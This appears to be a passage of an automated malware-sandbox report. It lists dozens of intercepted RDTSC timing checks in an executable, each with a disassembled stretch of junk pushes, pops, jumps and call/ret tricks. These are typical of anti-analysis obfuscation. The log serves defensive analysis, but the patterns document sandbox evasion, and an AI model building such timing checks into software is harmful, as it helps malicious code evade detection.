Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79DD42 second address: 79DD9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jng 00007F4AB14441FBh 0x0000000e sub bx, F657h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F4AB14441F8h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f mov edi, dword ptr [ebp+1245150Ah] 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+1245F3E0h], eax 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 jmp 00007F4AB14441FFh 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79DD9F second address: 79DDA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7998A8 second address: 7998AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7998AC second address: 7998B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79FF0F second address: 79FF13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79FF13 second address: 79FF1D instructions: 0x00000000 rdtsc 0x00000002 js 00007F4AB0EAD87Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79FF1D second address: 79FF37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4AB1444201h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79FF37 second address: 79FF3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79FF3D second address: 79FF41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79FF41 second address: 79FFAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 xor dword ptr [ebp+122D1ACBh], esi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F4AB0EAD878h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov dword ptr [ebp+12458D74h], ecx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007F4AB0EAD878h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d mov bx, 6D16h 0x00000051 push eax 0x00000052 jl 00007F4AB0EAD880h 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79EE29 second address: 79EE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79EE2F second address: 79EE34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79EE34 second address: 79EE3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 79EE3A second address: 79EE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7A0F03 second address: 7A0F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7A0FBA second address: 7A0FC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F4AB0EAD876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7A1F06 second address: 7A1F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edi 0x00000008 push esi 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop esi 0x0000000c pop edi 0x0000000d nop 0x0000000e cld 0x0000000f push 00000000h 0x00000011 pushad 0x00000012 mov dword ptr [ebp+122D30FEh], edx 0x00000018 mov ebx, 405E4876h 0x0000001d popad 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F4AB14441F8h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 00000014h 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a movsx ebx, cx 0x0000003d xchg eax, esi 0x0000003e pushad 0x0000003f pushad 0x00000040 pushad 0x00000041 popad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7A1F4C second address: 7A1F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F4AB0EAD876h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7A1F59 second address: 7A1F8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444205h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F4AB1444202h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7A1F8B second address: 7A1F8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7A2158 second address: 7A2163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F4AB14441F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7A5DA3 second address: 7A5DA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7ABFAB second address: 7ABFB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7ABFB6 second address: 7ABFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7ABFBC second address: 7ABFC2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7ABFC2 second address: 7ABFE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4AB0EAD888h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7ABFE0 second address: 7AC00A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4AB1444207h 0x00000008 jmp 00007F4AB1444201h 0x0000000d pushad 0x0000000e jmp 00007F4AB14441FEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 744BF4 second address: 744BFE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4AB0EAD876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 744BFE second address: 744C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4AB1444209h 0x0000000e jmp 00007F4AB14441FAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7AF0E9 second address: 7AF0EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7AF0EF second address: 7AF0F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7AF1CD second address: 7AF1D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7AF1D2 second address: 7AF1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 73C81D second address: 73C833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F4AB0EAD881h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7B5868 second address: 7B586E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7B586E second address: 7B5880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4AB0EAD87Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7B5A10 second address: 7B5A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AB1444204h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7B5CB1 second address: 7B5CED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 je 00007F4AB0EAD876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F4AB0EAD87Eh 0x00000012 pushad 0x00000013 popad 0x00000014 jo 00007F4AB0EAD876h 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F4AB0EAD87Ch 0x00000022 js 00007F4AB0EAD883h 0x00000028 jmp 00007F4AB0EAD87Dh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7B5CED second address: 7B5CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7B5CF3 second address: 7B5CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7B5EA8 second address: 7B5EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7B62D9 second address: 7B62E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C0F3A second address: 7C0F3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1510 second address: 7C1560 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD87Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007F4AB0EAD876h 0x00000010 jns 00007F4AB0EAD876h 0x00000016 jng 00007F4AB0EAD876h 0x0000001c jmp 00007F4AB0EAD885h 0x00000021 popad 0x00000022 jnp 00007F4AB0EAD882h 0x00000028 js 00007F4AB0EAD876h 0x0000002e jnp 00007F4AB0EAD876h 0x00000034 popad 0x00000035 push ebx 0x00000036 push ecx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C168B second address: 7C1695 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4AB14441F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C0BBD second address: 7C0BC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C0BC1 second address: 7C0C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F4AB14441FBh 0x0000000c jmp 00007F4AB1444206h 0x00000011 pop ebx 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F4AB1444200h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d jmp 00007F4AB1444201h 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C0C16 second address: 7C0C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C0C1A second address: 7C0C3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444208h 0x00000007 jng 00007F4AB14441F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1AA6 second address: 7C1AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1AAC second address: 7C1AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4AB1444200h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1AC9 second address: 7C1ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1C79 second address: 7C1C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1C7E second address: 7C1C8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD87Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1C8E second address: 7C1C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1C94 second address: 7C1CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1CA2 second address: 7C1CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1CA6 second address: 7C1CB2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4AB0EAD876h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1F5E second address: 7C1F8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB14441FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F4AB1444207h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1F8D second address: 7C1F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F4AB0EAD876h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C1F9C second address: 7C1FA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7C68BF second address: 7C68FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD888h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jl 00007F4AB0EAD876h 0x00000012 jnp 00007F4AB0EAD876h 0x00000018 jmp 00007F4AB0EAD883h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78ED2E second address: 78ED33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78ED33 second address: 76AD21 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4AB0EAD885h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F4AB0EAD878h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 lea eax, dword ptr [ebp+1248AA0Ah] 0x0000002d push eax 0x0000002e ja 00007F4AB0EAD88Ah 0x00000034 mov dword ptr [esp], eax 0x00000037 stc 0x00000038 call dword ptr [ebp+122D19E7h] 0x0000003e jl 00007F4AB0EAD88Ch 0x00000044 push ecx 0x00000045 push ecx 0x00000046 pop ecx 0x00000047 pop ecx 0x00000048 push edx 0x00000049 jmp 00007F4AB0EAD87Ah 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78F15E second address: 78F169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F4AB14441F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78F27E second address: 78F284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78F284 second address: 78F289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78F289 second address: 78F29C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F4AB0EAD878h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78F32B second address: 78F369 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4AB1444201h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F4AB1444200h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4AB14441FEh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78F369 second address: 78F3F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007F4AB0EAD876h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 ja 00007F4AB0EAD884h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a jmp 00007F4AB0EAD87Ah 0x0000001f pop eax 0x00000020 mov cx, si 0x00000023 call 00007F4AB0EAD879h 0x00000028 jp 00007F4AB0EAD88Ch 0x0000002e push eax 0x0000002f push eax 0x00000030 jno 00007F4AB0EAD87Ch 0x00000036 pop eax 0x00000037 mov eax, dword ptr [esp+04h] 0x0000003b jmp 00007F4AB0EAD885h 0x00000040 mov eax, dword ptr [eax] 0x00000042 push ecx 0x00000043 push esi 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78F554 second address: 78F591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov dword ptr [esp], esi 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F4AB14441F8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 jmp 00007F4AB14441FAh 0x00000029 movzx edi, di 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78F856 second address: 78F869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB0EAD87Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78FC25 second address: 78FC2F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4AB14441FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78FC2F second address: 78FC5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F4AB0EAD886h 0x0000000e or cl, 00000000h 0x00000011 push 0000001Eh 0x00000013 clc 0x00000014 movsx edx, dx 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78FC5E second address: 78FC62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78FC62 second address: 78FC68 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78FC68 second address: 78FC6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78FC6D second address: 78FC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78FF17 second address: 78FF51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444209h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4AB1444202h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78FF51 second address: 78FF5B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4AB0EAD876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 78FF5B second address: 78FF8D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4AB14441FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F4AB144420Eh 0x00000014 jmp 00007F4AB1444208h 0x00000019 rdtsc
